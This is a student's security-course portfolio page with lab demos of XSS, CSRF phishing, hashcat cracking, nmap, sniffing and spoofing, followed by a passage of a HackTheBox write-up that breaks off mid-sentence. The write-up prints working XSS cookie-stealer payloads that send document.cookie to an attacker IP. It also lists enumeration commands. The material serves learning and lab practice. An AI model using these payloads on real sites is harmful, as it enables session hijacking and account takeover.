from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel 